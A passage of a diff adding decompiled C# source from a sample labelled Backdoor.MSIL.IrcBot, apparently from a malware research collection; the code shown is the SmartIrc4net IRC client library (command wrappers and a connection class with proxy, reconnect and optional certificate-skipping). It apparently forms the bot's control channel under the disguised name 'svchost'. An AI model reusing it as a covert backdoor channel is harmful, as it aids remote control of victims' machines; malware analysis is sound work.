public void RfcTopic(string channel, Priority priority) => this.WriteLine(Rfc2812.Topic(channel), priority);
|
||||||
|
|
||||||
|
public void RfcTopic(string channel) => this.WriteLine(Rfc2812.Topic(channel));
|
||||||
|
|
||||||
|
public void RfcTopic(string channel, string newtopic, Priority priority) => this.WriteLine(Rfc2812.Topic(channel, newtopic), priority);
|
||||||
|
|
||||||
|
public void RfcTopic(string channel, string newtopic) => this.WriteLine(Rfc2812.Topic(channel, newtopic));
|
||||||
|
|
||||||
|
public void RfcMode(string target, Priority priority) => this.WriteLine(Rfc2812.Mode(target), priority);
|
||||||
|
|
||||||
|
public void RfcMode(string target) => this.WriteLine(Rfc2812.Mode(target));
|
||||||
|
|
||||||
|
public void RfcMode(string target, string newmode, Priority priority) => this.WriteLine(Rfc2812.Mode(target, newmode), priority);
|
||||||
|
|
||||||
|
public void RfcMode(string target, string newmode) => this.WriteLine(Rfc2812.Mode(target, newmode));
|
||||||
|
|
||||||
|
public void RfcService(string nickname, string distribution, string info, Priority priority) => this.WriteLine(Rfc2812.Service(nickname, distribution, info), priority);
|
||||||
|
|
||||||
|
public void RfcService(string nickname, string distribution, string info) => this.WriteLine(Rfc2812.Service(nickname, distribution, info));
|
||||||
|
|
||||||
|
public void RfcInvite(string nickname, string channel, Priority priority) => this.WriteLine(Rfc2812.Invite(nickname, channel), priority);
|
||||||
|
|
||||||
|
public void RfcInvite(string nickname, string channel) => this.WriteLine(Rfc2812.Invite(nickname, channel));
|
||||||
|
|
||||||
|
public void RfcNick(string newnickname, Priority priority) => this.WriteLine(Rfc2812.Nick(newnickname), priority);
|
||||||
|
|
||||||
|
public void RfcNick(string newnickname) => this.WriteLine(Rfc2812.Nick(newnickname));
|
||||||
|
|
||||||
|
public void RfcWho(Priority priority) => this.WriteLine(Rfc2812.Who(), priority);
|
||||||
|
|
||||||
|
public void RfcWho() => this.WriteLine(Rfc2812.Who());
|
||||||
|
|
||||||
|
public void RfcWho(string mask, Priority priority) => this.WriteLine(Rfc2812.Who(mask), priority);
|
||||||
|
|
||||||
|
public void RfcWho(string mask) => this.WriteLine(Rfc2812.Who(mask));
|
||||||
|
|
||||||
|
public void RfcWho(string mask, bool ircop, Priority priority) => this.WriteLine(Rfc2812.Who(mask, ircop), priority);
|
||||||
|
|
||||||
|
public void RfcWho(string mask, bool ircop) => this.WriteLine(Rfc2812.Who(mask, ircop));
|
||||||
|
|
||||||
|
public void RfcWhois(string mask, Priority priority) => this.WriteLine(Rfc2812.Whois(mask), priority);
|
||||||
|
|
||||||
|
public void RfcWhois(string mask) => this.WriteLine(Rfc2812.Whois(mask));
|
||||||
|
|
||||||
|
public void RfcWhois(string[] masks, Priority priority) => this.WriteLine(Rfc2812.Whois(masks), priority);
|
||||||
|
|
||||||
|
public void RfcWhois(string[] masks) => this.WriteLine(Rfc2812.Whois(masks));
|
||||||
|
|
||||||
|
public void RfcWhois(string target, string mask, Priority priority) => this.WriteLine(Rfc2812.Whois(target, mask), priority);
|
||||||
|
|
||||||
|
public void RfcWhois(string target, string mask) => this.WriteLine(Rfc2812.Whois(target, mask));
|
||||||
|
|
||||||
|
public void RfcWhois(string target, string[] masks, Priority priority) => this.WriteLine(Rfc2812.Whois(target, masks), priority);
|
||||||
|
|
||||||
|
public void RfcWhois(string target, string[] masks) => this.WriteLine(Rfc2812.Whois(target, masks));
|
||||||
|
|
||||||
|
public void RfcWhowas(string nickname, Priority priority) => this.WriteLine(Rfc2812.Whowas(nickname), priority);
|
||||||
|
|
||||||
|
public void RfcWhowas(string nickname) => this.WriteLine(Rfc2812.Whowas(nickname));
|
||||||
|
|
||||||
|
public void RfcWhowas(string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Whowas(nicknames), priority);
|
||||||
|
|
||||||
|
public void RfcWhowas(string[] nicknames) => this.WriteLine(Rfc2812.Whowas(nicknames));
|
||||||
|
|
||||||
|
public void RfcWhowas(string nickname, string count, Priority priority) => this.WriteLine(Rfc2812.Whowas(nickname, count), priority);
|
||||||
|
|
||||||
|
public void RfcWhowas(string nickname, string count) => this.WriteLine(Rfc2812.Whowas(nickname, count));
|
||||||
|
|
||||||
|
public void RfcWhowas(string[] nicknames, string count, Priority priority) => this.WriteLine(Rfc2812.Whowas(nicknames, count), priority);
|
||||||
|
|
||||||
|
public void RfcWhowas(string[] nicknames, string count) => this.WriteLine(Rfc2812.Whowas(nicknames, count));
|
||||||
|
|
||||||
|
public void RfcWhowas(string nickname, string count, string target, Priority priority) => this.WriteLine(Rfc2812.Whowas(nickname, count, target), priority);
|
||||||
|
|
||||||
|
public void RfcWhowas(string nickname, string count, string target) => this.WriteLine(Rfc2812.Whowas(nickname, count, target));
|
||||||
|
|
||||||
|
public void RfcWhowas(string[] nicknames, string count, string target, Priority priority) => this.WriteLine(Rfc2812.Whowas(nicknames, count, target), priority);
|
||||||
|
|
||||||
|
public void RfcWhowas(string[] nicknames, string count, string target) => this.WriteLine(Rfc2812.Whowas(nicknames, count, target));
|
||||||
|
|
||||||
|
public void RfcKill(string nickname, string comment, Priority priority) => this.WriteLine(Rfc2812.Kill(nickname, comment), priority);
|
||||||
|
|
||||||
|
public void RfcKill(string nickname, string comment) => this.WriteLine(Rfc2812.Kill(nickname, comment));
|
||||||
|
|
||||||
|
public void RfcPing(string server, Priority priority) => this.WriteLine(Rfc2812.Ping(server), priority);
|
||||||
|
|
||||||
|
public void RfcPing(string server) => this.WriteLine(Rfc2812.Ping(server));
|
||||||
|
|
||||||
|
public void RfcPing(string server, string server2, Priority priority) => this.WriteLine(Rfc2812.Ping(server, server2), priority);
|
||||||
|
|
||||||
|
public void RfcPing(string server, string server2) => this.WriteLine(Rfc2812.Ping(server, server2));
|
||||||
|
|
||||||
|
public void RfcPong(string server, Priority priority) => this.WriteLine(Rfc2812.Pong(server), priority);
|
||||||
|
|
||||||
|
public void RfcPong(string server) => this.WriteLine(Rfc2812.Pong(server));
|
||||||
|
|
||||||
|
public void RfcPong(string server, string server2, Priority priority) => this.WriteLine(Rfc2812.Pong(server, server2), priority);
|
||||||
|
|
||||||
|
public void RfcPong(string server, string server2) => this.WriteLine(Rfc2812.Pong(server, server2));
|
||||||
|
|
||||||
|
public void RfcAway(Priority priority) => this.WriteLine(Rfc2812.Away(), priority);
|
||||||
|
|
||||||
|
public void RfcAway() => this.WriteLine(Rfc2812.Away());
|
||||||
|
|
||||||
|
public void RfcAway(string awaytext, Priority priority) => this.WriteLine(Rfc2812.Away(awaytext), priority);
|
||||||
|
|
||||||
|
public void RfcAway(string awaytext) => this.WriteLine(Rfc2812.Away(awaytext));
|
||||||
|
|
||||||
|
public void RfcRehash() => this.WriteLine(Rfc2812.Rehash());
|
||||||
|
|
||||||
|
public void RfcDie() => this.WriteLine(Rfc2812.Die());
|
||||||
|
|
||||||
|
public void RfcRestart() => this.WriteLine(Rfc2812.Restart());
|
||||||
|
|
||||||
|
public void RfcSummon(string user, Priority priority) => this.WriteLine(Rfc2812.Summon(user), priority);
|
||||||
|
|
||||||
|
public void RfcSummon(string user) => this.WriteLine(Rfc2812.Summon(user));
|
||||||
|
|
||||||
|
public void RfcSummon(string user, string target, Priority priority) => this.WriteLine(Rfc2812.Summon(user, target), priority);
|
||||||
|
|
||||||
|
public void RfcSummon(string user, string target) => this.WriteLine(Rfc2812.Summon(user, target));
|
||||||
|
|
||||||
|
public void RfcSummon(string user, string target, string channel, Priority priority) => this.WriteLine(Rfc2812.Summon(user, target, channel), priority);
|
||||||
|
|
||||||
|
public void RfcSummon(string user, string target, string channel) => this.WriteLine(Rfc2812.Summon(user, target, channel));
|
||||||
|
|
||||||
|
public void RfcUsers(Priority priority) => this.WriteLine(Rfc2812.Users(), priority);
|
||||||
|
|
||||||
|
public void RfcUsers() => this.WriteLine(Rfc2812.Users());
|
||||||
|
|
||||||
|
public void RfcUsers(string target, Priority priority) => this.WriteLine(Rfc2812.Users(target), priority);
|
||||||
|
|
||||||
|
public void RfcUsers(string target) => this.WriteLine(Rfc2812.Users(target));
|
||||||
|
|
||||||
|
public void RfcWallops(string wallopstext, Priority priority) => this.WriteLine(Rfc2812.Wallops(wallopstext), priority);
|
||||||
|
|
||||||
|
public void RfcWallops(string wallopstext) => this.WriteLine(Rfc2812.Wallops(wallopstext));
|
||||||
|
|
||||||
|
public void RfcUserhost(string nickname, Priority priority) => this.WriteLine(Rfc2812.Userhost(nickname), priority);
|
||||||
|
|
||||||
|
public void RfcUserhost(string nickname) => this.WriteLine(Rfc2812.Userhost(nickname));
|
||||||
|
|
||||||
|
public void RfcUserhost(string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Userhost(nicknames), priority);
|
||||||
|
|
||||||
|
public void RfcUserhost(string[] nicknames) => this.WriteLine(Rfc2812.Userhost(nicknames));
|
||||||
|
|
||||||
|
public void RfcIson(string nickname, Priority priority) => this.WriteLine(Rfc2812.Ison(nickname), priority);
|
||||||
|
|
||||||
|
public void RfcIson(string nickname) => this.WriteLine(Rfc2812.Ison(nickname));
|
||||||
|
|
||||||
|
public void RfcIson(string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Ison(nicknames), priority);
|
||||||
|
|
||||||
|
public void RfcIson(string[] nicknames) => this.WriteLine(Rfc2812.Ison(nicknames));
|
||||||
|
|
||||||
|
public void RfcQuit(Priority priority) => this.WriteLine(Rfc2812.Quit(), priority);
|
||||||
|
|
||||||
|
public void RfcQuit() => this.WriteLine(Rfc2812.Quit());
|
||||||
|
|
||||||
|
public void RfcQuit(string quitmessage, Priority priority) => this.WriteLine(Rfc2812.Quit(quitmessage), priority);
|
||||||
|
|
||||||
|
public void RfcQuit(string quitmessage) => this.WriteLine(Rfc2812.Quit(quitmessage));
|
||||||
|
|
||||||
|
public void RfcSquit(string server, string comment, Priority priority) => this.WriteLine(Rfc2812.Squit(server, comment), priority);
|
||||||
|
|
||||||
|
public void RfcSquit(string server, string comment) => this.WriteLine(Rfc2812.Squit(server, comment));
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,834 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.IrcConnection
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using Starksoft.Net.Proxy;
|
||||||
|
using System;
|
||||||
|
using System.Collections;
|
||||||
|
using System.IO;
|
||||||
|
using System.Net;
|
||||||
|
using System.Net.Security;
|
||||||
|
using System.Net.Sockets;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Security.Authentication;
|
||||||
|
using System.Security.Cryptography.X509Certificates;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class IrcConnection
|
||||||
|
{
|
||||||
|
private string _VersionNumber;
|
||||||
|
private string _VersionString;
|
||||||
|
private string[] _AddressList = new string[1]
|
||||||
|
{
|
||||||
|
"localhost"
|
||||||
|
};
|
||||||
|
private int _CurrentAddress;
|
||||||
|
private int _Port;
|
||||||
|
private bool _UseSsl;
|
||||||
|
private bool _ValidateServerCertificate;
|
||||||
|
private X509Certificate _SslClientCertificate;
|
||||||
|
private StreamReader _Reader;
|
||||||
|
private StreamWriter _Writer;
|
||||||
|
private IrcConnection.ReadThread _ReadThread;
|
||||||
|
private IrcConnection.WriteThread _WriteThread;
|
||||||
|
private IrcConnection.IdleWorkerThread _IdleWorkerThread;
|
||||||
|
private TcpClient _TcpClient;
|
||||||
|
private Hashtable _SendBuffer = Hashtable.Synchronized(new Hashtable());
|
||||||
|
private int _SendDelay = 200;
|
||||||
|
private bool _IsRegistered;
|
||||||
|
private bool _IsConnected;
|
||||||
|
private bool _IsConnectionError;
|
||||||
|
private bool _IsDisconnecting;
|
||||||
|
private int _AutoRetryAttempt;
|
||||||
|
private bool _AutoRetry;
|
||||||
|
private int _AutoRetryDelay = 30;
|
||||||
|
private int _AutoRetryLimit = 3;
|
||||||
|
private bool _AutoReconnect;
|
||||||
|
private Encoding _Encoding = Encoding.Default;
|
||||||
|
private int _SocketReceiveTimeout = 600;
|
||||||
|
private int _SocketSendTimeout = 600;
|
||||||
|
private int _IdleWorkerInterval = 60;
|
||||||
|
private int _PingInterval = 60;
|
||||||
|
private int _PingTimeout = 300;
|
||||||
|
private DateTime _LastPingSent;
|
||||||
|
private DateTime _LastPongReceived;
|
||||||
|
private TimeSpan _Lag;
|
||||||
|
private string _ProxyHost;
|
||||||
|
private int _ProxyPort;
|
||||||
|
private ProxyType _ProxyType;
|
||||||
|
private string _ProxyUsername;
|
||||||
|
private string _ProxyPassword;
|
||||||
|
|
||||||
|
public event ReadLineEventHandler OnReadLine;
|
||||||
|
|
||||||
|
public event WriteLineEventHandler OnWriteLine;
|
||||||
|
|
||||||
|
public event EventHandler OnConnecting;
|
||||||
|
|
||||||
|
public event EventHandler OnConnected;
|
||||||
|
|
||||||
|
public event EventHandler OnDisconnecting;
|
||||||
|
|
||||||
|
public event EventHandler OnDisconnected;
|
||||||
|
|
||||||
|
public event EventHandler OnConnectionError;
|
||||||
|
|
||||||
|
public event AutoConnectErrorEventHandler OnAutoConnectError;
|
||||||
|
|
||||||
|
protected bool IsConnectionError
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
lock (this)
|
||||||
|
return this._IsConnectionError;
|
||||||
|
}
|
||||||
|
set
|
||||||
|
{
|
||||||
|
lock (this)
|
||||||
|
this._IsConnectionError = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected bool IsDisconnecting
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
lock (this)
|
||||||
|
return this._IsDisconnecting;
|
||||||
|
}
|
||||||
|
set
|
||||||
|
{
|
||||||
|
lock (this)
|
||||||
|
this._IsDisconnecting = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Address => this._AddressList[this._CurrentAddress];
|
||||||
|
|
||||||
|
public string[] AddressList => this._AddressList;
|
||||||
|
|
||||||
|
public int Port => this._Port;
|
||||||
|
|
||||||
|
public bool AutoReconnect
|
||||||
|
{
|
||||||
|
get => this._AutoReconnect;
|
||||||
|
set => this._AutoReconnect = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public bool AutoRetry
|
||||||
|
{
|
||||||
|
get => this._AutoRetry;
|
||||||
|
set => this._AutoRetry = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int AutoRetryDelay
|
||||||
|
{
|
||||||
|
get => this._AutoRetryDelay;
|
||||||
|
set => this._AutoRetryDelay = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int AutoRetryLimit
|
||||||
|
{
|
||||||
|
get => this._AutoRetryLimit;
|
||||||
|
set => this._AutoRetryLimit = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int AutoRetryAttempt => this._AutoRetryAttempt;
|
||||||
|
|
||||||
|
public int SendDelay
|
||||||
|
{
|
||||||
|
get => this._SendDelay;
|
||||||
|
set => this._SendDelay = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public bool IsRegistered => this._IsRegistered;
|
||||||
|
|
||||||
|
public bool IsConnected => this._IsConnected;
|
||||||
|
|
||||||
|
public string VersionNumber => this._VersionNumber;
|
||||||
|
|
||||||
|
public string VersionString => this._VersionString;
|
||||||
|
|
||||||
|
public Encoding Encoding
|
||||||
|
{
|
||||||
|
get => this._Encoding;
|
||||||
|
set => this._Encoding = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public bool UseSsl
|
||||||
|
{
|
||||||
|
get => this._UseSsl;
|
||||||
|
set => this._UseSsl = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public bool ValidateServerCertificate
|
||||||
|
{
|
||||||
|
get => this._ValidateServerCertificate;
|
||||||
|
set => this._ValidateServerCertificate = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public X509Certificate SslClientCertificate
|
||||||
|
{
|
||||||
|
get => this._SslClientCertificate;
|
||||||
|
set => this._SslClientCertificate = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int SocketReceiveTimeout
|
||||||
|
{
|
||||||
|
get => this._SocketReceiveTimeout;
|
||||||
|
set => this._SocketReceiveTimeout = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int SocketSendTimeout
|
||||||
|
{
|
||||||
|
get => this._SocketSendTimeout;
|
||||||
|
set => this._SocketSendTimeout = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int IdleWorkerInterval
|
||||||
|
{
|
||||||
|
get => this._IdleWorkerInterval;
|
||||||
|
set => this._IdleWorkerInterval = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int PingInterval
|
||||||
|
{
|
||||||
|
get => this._PingInterval;
|
||||||
|
set => this._PingInterval = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int PingTimeout
|
||||||
|
{
|
||||||
|
get => this._PingTimeout;
|
||||||
|
set => this._PingTimeout = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public TimeSpan Lag => this._LastPingSent > this._LastPongReceived ? DateTime.Now - this._LastPingSent : this._Lag;
|
||||||
|
|
||||||
|
public string ProxyHost
|
||||||
|
{
|
||||||
|
get => this._ProxyHost;
|
||||||
|
set => this._ProxyHost = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int ProxyPort
|
||||||
|
{
|
||||||
|
get => this._ProxyPort;
|
||||||
|
set => this._ProxyPort = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ProxyType ProxyType
|
||||||
|
{
|
||||||
|
get => this._ProxyType;
|
||||||
|
set => this._ProxyType = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string ProxyUsername
|
||||||
|
{
|
||||||
|
get => this._ProxyUsername;
|
||||||
|
set => this._ProxyUsername = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string ProxyPassword
|
||||||
|
{
|
||||||
|
get => this._ProxyPassword;
|
||||||
|
set => this._ProxyPassword = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public IrcConnection()
|
||||||
|
{
|
||||||
|
this._SendBuffer[(object) Priority.High] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue());
|
||||||
|
this._SendBuffer[(object) Priority.AboveMedium] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue());
|
||||||
|
this._SendBuffer[(object) Priority.Medium] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue());
|
||||||
|
this._SendBuffer[(object) Priority.BelowMedium] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue());
|
||||||
|
this._SendBuffer[(object) Priority.Low] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue());
|
||||||
|
this.OnReadLine += new ReadLineEventHandler(this._SimpleParser);
|
||||||
|
this.OnConnectionError += new EventHandler(this._OnConnectionError);
|
||||||
|
this._ReadThread = new IrcConnection.ReadThread(this);
|
||||||
|
this._WriteThread = new IrcConnection.WriteThread(this);
|
||||||
|
this._IdleWorkerThread = new IrcConnection.IdleWorkerThread(this);
|
||||||
|
Assembly assembly = Assembly.GetAssembly(this.GetType());
|
||||||
|
AssemblyName name = assembly.GetName(false);
|
||||||
|
AssemblyProductAttribute customAttribute = (AssemblyProductAttribute) assembly.GetCustomAttributes(typeof (AssemblyProductAttribute), false)[0];
|
||||||
|
this._VersionNumber = name.Version.ToString();
|
||||||
|
this._VersionString = customAttribute.Product + " " + this._VersionNumber;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Connect(string[] addresslist, int port)
|
||||||
|
{
|
||||||
|
if (this._IsConnected)
|
||||||
|
throw new AlreadyConnectedException("Already connected to: " + this.Address + ":" + (object) this.Port);
|
||||||
|
++this._AutoRetryAttempt;
|
||||||
|
this._AddressList = (string[]) addresslist.Clone();
|
||||||
|
this._Port = port;
|
||||||
|
if (this.OnConnecting != null)
|
||||||
|
this.OnConnecting((object) this, EventArgs.Empty);
|
||||||
|
try
|
||||||
|
{
|
||||||
|
IPAddress address = Dns.Resolve(this.Address).AddressList[0];
|
||||||
|
this._TcpClient = new TcpClient();
|
||||||
|
this._TcpClient.NoDelay = true;
|
||||||
|
this._TcpClient.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, 1);
|
||||||
|
this._TcpClient.ReceiveTimeout = this._SocketReceiveTimeout * 1000;
|
||||||
|
this._TcpClient.SendTimeout = this._SocketSendTimeout * 1000;
|
||||||
|
if (this._ProxyType != ProxyType.None)
|
||||||
|
{
|
||||||
|
ProxyClientFactory proxyClientFactory = new ProxyClientFactory();
|
||||||
|
Starksoft.Net.Proxy.ProxyType type = (Starksoft.Net.Proxy.ProxyType) System.Enum.Parse(typeof (ProxyType), this._ProxyType.ToString(), true);
|
||||||
|
IProxyClient proxyClient = this._ProxyUsername != null || this._ProxyPassword != null ? proxyClientFactory.CreateProxyClient(type, this._ProxyHost, this._ProxyPort, this._ProxyUsername, this._ProxyPassword) : proxyClientFactory.CreateProxyClient(type);
|
||||||
|
this._TcpClient.Connect(this._ProxyHost, this._ProxyPort);
|
||||||
|
proxyClient.TcpClient = this._TcpClient;
|
||||||
|
proxyClient.CreateConnection(address.ToString(), port);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
this._TcpClient.Connect(address, port);
|
||||||
|
Stream stream = (Stream) this._TcpClient.GetStream();
|
||||||
|
if (this._UseSsl)
|
||||||
|
{
|
||||||
|
RemoteCertificateValidationCallback userCertificateValidationCallback = !this._ValidateServerCertificate ? (RemoteCertificateValidationCallback) delegate
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
} : (RemoteCertificateValidationCallback) ((sender, certificate, chain, sslPolicyErrors) => sslPolicyErrors == SslPolicyErrors.None);
|
||||||
|
SslStream sslStream = new SslStream(stream, false, userCertificateValidationCallback);
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (this._SslClientCertificate != null)
|
||||||
|
{
|
||||||
|
X509Certificate2Collection clientCertificates = new X509Certificate2Collection();
|
||||||
|
clientCertificates.Add(this._SslClientCertificate);
|
||||||
|
sslStream.AuthenticateAsClient(this.Address, (X509CertificateCollection) clientCertificates, SslProtocols.Default, false);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
sslStream.AuthenticateAsClient(this.Address);
|
||||||
|
}
|
||||||
|
catch (IOException ex)
|
||||||
|
{
|
||||||
|
throw new CouldNotConnectException("Could not connect to: " + this.Address + ":" + (object) this.Port + " " + ex.Message, (Exception) ex);
|
||||||
|
}
|
||||||
|
stream = (Stream) sslStream;
|
||||||
|
}
|
||||||
|
this._Reader = new StreamReader(stream, this._Encoding);
|
||||||
|
this._Writer = new StreamWriter(stream, this._Encoding);
|
||||||
|
if (this._Encoding.GetPreamble().Length > 0)
|
||||||
|
{
|
||||||
|
this._Writer.WriteLine();
|
||||||
|
this._Writer.Flush();
|
||||||
|
}
|
||||||
|
this._AutoRetryAttempt = 0;
|
||||||
|
this.IsConnectionError = false;
|
||||||
|
this._IsConnected = true;
|
||||||
|
this._ReadThread.Start();
|
||||||
|
this._WriteThread.Start();
|
||||||
|
this._IdleWorkerThread.Start();
|
||||||
|
if (this.OnConnected == null)
|
||||||
|
return;
|
||||||
|
this.OnConnected((object) this, EventArgs.Empty);
|
||||||
|
}
|
||||||
|
catch (AuthenticationException ex)
|
||||||
|
{
|
||||||
|
throw new CouldNotConnectException("Could not connect to: " + this.Address + ":" + (object) this.Port + " " + ex.Message, (Exception) ex);
|
||||||
|
}
|
||||||
|
catch (Exception ex1)
|
||||||
|
{
|
||||||
|
if (this._Reader != null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
this._Reader.Close();
|
||||||
|
}
|
||||||
|
catch (ObjectDisposedException ex2)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (this._Writer != null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
this._Writer.Close();
|
||||||
|
}
|
||||||
|
catch (ObjectDisposedException ex3)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (this._TcpClient != null)
|
||||||
|
this._TcpClient.Close();
|
||||||
|
this._IsConnected = false;
|
||||||
|
this.IsConnectionError = true;
|
||||||
|
if (ex1 is CouldNotConnectException)
|
||||||
|
throw;
|
||||||
|
else if (this._AutoRetry && (this._AutoRetryLimit == -1 || this._AutoRetryLimit == 0 || this._AutoRetryLimit <= this._AutoRetryAttempt))
|
||||||
|
{
|
||||||
|
if (this.OnAutoConnectError != null)
|
||||||
|
this.OnAutoConnectError((object) this, new AutoConnectErrorEventArgs(this.Address, this.Port, ex1));
|
||||||
|
Thread.Sleep(this._AutoRetryDelay * 1000);
|
||||||
|
this._NextAddress();
|
||||||
|
this.Connect(this._AddressList, this._Port);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
throw new CouldNotConnectException("Could not connect to: " + this.Address + ":" + (object) this.Port + " " + ex1.Message, ex1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Connect(string address, int port) => this.Connect(new string[1]
|
||||||
|
{
|
||||||
|
address
|
||||||
|
}, port);
|
||||||
|
|
||||||
|
public void Reconnect()
|
||||||
|
{
|
||||||
|
this.Disconnect();
|
||||||
|
this.Connect(this._AddressList, this._Port);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Disconnect()
|
||||||
|
{
|
||||||
|
if (!this.IsConnected)
|
||||||
|
throw new NotConnectedException("The connection could not be disconnected because there is no active connection");
|
||||||
|
if (this.OnDisconnecting != null)
|
||||||
|
this.OnDisconnecting((object) this, EventArgs.Empty);
|
||||||
|
this.IsDisconnecting = true;
|
||||||
|
this._ReadThread.Stop();
|
||||||
|
this._WriteThread.Stop();
|
||||||
|
this._TcpClient.Close();
|
||||||
|
this._IsConnected = false;
|
||||||
|
this._IsRegistered = false;
|
||||||
|
this.IsDisconnecting = false;
|
||||||
|
if (this.OnDisconnected == null)
|
||||||
|
return;
|
||||||
|
this.OnDisconnected((object) this, EventArgs.Empty);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Listen(bool blocking)
|
||||||
|
{
|
||||||
|
if (blocking)
|
||||||
|
{
|
||||||
|
while (this.IsConnected)
|
||||||
|
this.ReadLine(true);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
do
|
||||||
|
;
|
||||||
|
while (this.ReadLine(false).Length > 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Listen() => this.Listen(true);
|
||||||
|
|
||||||
|
public void ListenOnce(bool blocking) => this.ReadLine(blocking);
|
||||||
|
|
||||||
|
public void ListenOnce() => this.ListenOnce(true);
|
||||||
|
|
||||||
|
public string ReadLine(bool blocking)
|
||||||
|
{
|
||||||
|
string line = "";
|
||||||
|
if (blocking)
|
||||||
|
{
|
||||||
|
while (this.IsConnected && !this.IsConnectionError && this._ReadThread.Queue.Count == 0)
|
||||||
|
Thread.Sleep(10);
|
||||||
|
}
|
||||||
|
if (this.IsConnected && this._ReadThread.Queue.Count > 0)
|
||||||
|
line = (string) this._ReadThread.Queue.Dequeue();
|
||||||
|
if (line != null && line.Length > 0 && this.OnReadLine != null)
|
||||||
|
this.OnReadLine((object) this, new ReadLineEventArgs(line));
|
||||||
|
if (this.IsConnectionError && !this.IsDisconnecting && this.OnConnectionError != null)
|
||||||
|
this.OnConnectionError((object) this, EventArgs.Empty);
|
||||||
|
return line;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteLine(string data, Priority priority)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (priority == Priority.Critical)
|
||||||
|
{
|
||||||
|
if (!this.IsConnected)
|
||||||
|
throw new NotConnectedException();
|
||||||
|
this._WriteLine(data);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
((System.Collections.Queue) this._SendBuffer[(object) priority]).Enqueue((object) data);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteLine(string data) => this.WriteLine(data, Priority.Medium);
|
||||||
|
|
||||||
|
private bool _WriteLine(string data)
|
||||||
|
{
|
||||||
|
if (!this.IsConnected)
|
||||||
|
return false;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
this._Writer.Write(data + "\r\n");
|
||||||
|
this._Writer.Flush();
|
||||||
|
}
|
||||||
|
catch (IOException ex)
|
||||||
|
{
|
||||||
|
this.IsConnectionError = true;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
catch (ObjectDisposedException ex)
|
||||||
|
{
|
||||||
|
this.IsConnectionError = true;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (this.OnWriteLine != null)
|
||||||
|
this.OnWriteLine((object) this, new WriteLineEventArgs(data));
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void _NextAddress()
|
||||||
|
{
|
||||||
|
++this._CurrentAddress;
|
||||||
|
if (this._CurrentAddress < this._AddressList.Length)
|
||||||
|
return;
|
||||||
|
this._CurrentAddress = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void _SimpleParser(object sender, ReadLineEventArgs args)
|
||||||
|
{
|
||||||
|
string line = args.Line;
|
||||||
|
string[] strArray = line.Split(' ');
|
||||||
|
if (line[0] == ':')
|
||||||
|
{
|
||||||
|
string s = strArray[1];
|
||||||
|
